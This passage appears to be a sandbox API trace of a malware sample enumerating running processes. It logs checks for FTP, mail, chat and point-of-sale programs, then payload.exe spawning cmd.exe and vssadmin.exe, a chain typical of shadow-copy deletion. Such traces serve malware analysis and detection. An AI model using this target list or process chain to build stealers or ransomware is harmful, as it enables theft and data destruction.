(lpString="revolution_qualities.exe") returned 24 [0036.875] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0036.876] lstrlenW (lpString="roger-venice.exe") returned 16 [0036.876] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0036.876] lstrlenW (lpString="cite.exe") returned 8 [0036.876] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0036.876] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0036.876] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0036.877] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0036.877] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0036.877] lstrlenW (lpString="artist_selecting.exe") returned 20 [0036.877] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0036.878] lstrlenW (lpString="poems.exe") returned 9 [0036.878] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0036.878] lstrlenW (lpString="bow.exe") returned 7 [0036.878] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0036.878] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0036.878] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0036.879] lstrlenW (lpString="businesses.exe") returned 14 [0036.879] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0036.879] lstrlenW (lpString="lucky.exe") returned 9 [0036.879] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0036.879] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0036.879] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0036.880] lstrlenW (lpString="healthmanner.exe") returned 16 [0036.880] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0036.880] lstrlenW (lpString="3dftp.exe") returned 9 [0036.880] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0036.880] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0036.880] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0036.881] lstrlenW (lpString="alftp.exe") returned 9 [0036.881] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0036.881] lstrlenW (lpString="barca.exe") returned 9 [0036.881] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0036.882] lstrlenW (lpString="bitkinex.exe") returned 12 [0036.882] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0036.882] lstrlenW (lpString="coreftp.exe") returned 11 [0036.882] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0036.882] lstrlenW (lpString="far.exe") returned 7 [0036.882] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0036.883] lstrlenW (lpString="filezilla.exe") returned 13 [0036.883] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0036.883] lstrlenW (lpString="flashfxp.exe") returned 12 [0036.883] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0036.883] lstrlenW (lpString="fling.exe") returned 9 [0036.883] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0036.884] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0036.884] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0036.884] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0036.884] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0036.884] lstrlenW (lpString="icq.exe") returned 7 [0036.885] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0036.885] lstrlenW (lpString="leechftp.exe") returned 12 [0036.885] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0036.885] lstrlenW (lpString="ncftp.exe") returned 9 [0036.886] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0036.886] lstrlenW (lpString="notepad.exe") returned 11 [0036.886] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0036.887] lstrlenW (lpString="operamail.exe") returned 13 [0036.887] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0036.887] lstrlenW (lpString="pidgin.exe") returned 10 [0036.887] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0036.888] lstrlenW (lpString="scriptftp.exe") returned 13 [0036.888] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0036.888] lstrlenW (lpString="skype.exe") returned 9 [0036.888] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0036.889] lstrlenW (lpString="smartftp.exe") returned 12 [0036.889] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0036.889] lstrlenW (lpString="thunderbird.exe") returned 15 [0036.889] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0036.890] lstrlenW (lpString="totalcmd.exe") returned 12 [0036.890] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0036.891] lstrlenW (lpString="trillian.exe") returned 12 [0036.891] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0036.891] lstrlenW (lpString="webdrive.exe") returned 12 [0036.891] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0036.892] lstrlenW (lpString="whatsapp.exe") returned 12 [0036.892] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0036.892] lstrlenW (lpString="winscp.exe") returned 10 [0036.892] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0036.893] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0036.893] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0036.893] lstrlenW (lpString="active-charge.exe") returned 17 [0036.893] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0036.894] lstrlenW (lpString="accupos.exe") returned 11 [0036.894] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0036.894] lstrlenW (lpString="afr38.exe") returned 9 [0036.894] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0036.895] lstrlenW (lpString="aldelo.exe") returned 10 [0036.895] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0036.895] lstrlenW (lpString="ccv_server.exe") returned 14 [0036.895] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0036.896] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0036.896] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0036.896] lstrlenW (lpString="creditservice.exe") returned 17 [0036.896] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0036.897] lstrlenW (lpString="edcsvr.exe") returned 10 [0036.897] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0036.897] lstrlenW (lpString="fpos.exe") returned 8 [0036.897] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0036.898] lstrlenW (lpString="isspos.exe") returned 10 [0036.898] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0036.898] lstrlenW (lpString="mxslipstream.exe") returned 16 [0036.898] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0036.899] lstrlenW (lpString="omnipos.exe") returned 11 [0036.899] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0036.899] lstrlenW (lpString="spcwin.exe") returned 10 [0036.899] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0036.900] lstrlenW (lpString="spgagentservice.exe") returned 19 [0036.900] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0036.900] lstrlenW (lpString="utg2.exe") returned 8 [0036.900] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0037.122] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0037.122] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0037.122] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0037.123] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0037.123] lstrlenW (lpString="notebook.exe") returned 12 [0037.123] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0037.123] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0037.123] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0037.124] lstrlenW (lpString="current.exe") returned 11 [0037.124] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.124] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.124] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.125] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.125] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.125] lstrlenW (lpString="taskhost.exe") returned 12 [0037.125] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.126] lstrlenW (lpString="dllhost.exe") returned 11 [0037.126] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.126] lstrlenW (lpString="dllhost.exe") returned 11 [0037.126] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0037.126] lstrlenW (lpString="payload.exe") returned 11 [0037.126] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.127] lstrlenW (lpString="cmd.exe") returned 7 [0037.127] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.127] lstrlenW (lpString="conhost.exe") returned 11 [0037.127] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0037.128] lstrlenW (lpString="vssadmin.exe") returned 12 [0037.128] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0037.128] CloseHandle 